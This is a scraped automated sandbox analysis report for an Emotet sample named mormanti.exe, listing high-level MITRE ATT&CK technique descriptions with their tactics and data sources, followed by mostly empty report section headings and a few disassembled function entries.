Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report mormanti.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

Function 00C121FD, Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 164
windowlibrarymemoryCOMMON

Function 02DC2871, Relevance: 4.6, APIs: 3, Instructions: 144
fileCOMMON

Function 02DC388F, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 166
serviceCOMMON

Function 02DB002D, Relevance: 4.9, APIs: 3, Instructions: 392
memoryCOMMON

Function 02DC58E2, Relevance: 3.1, APIs: 2, Instructions: 132
fileCOMMON

Function 00C1285B, Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Function 02DC67D8, Relevance: 1.6, APIs: 1, Instructions: 147
COMMON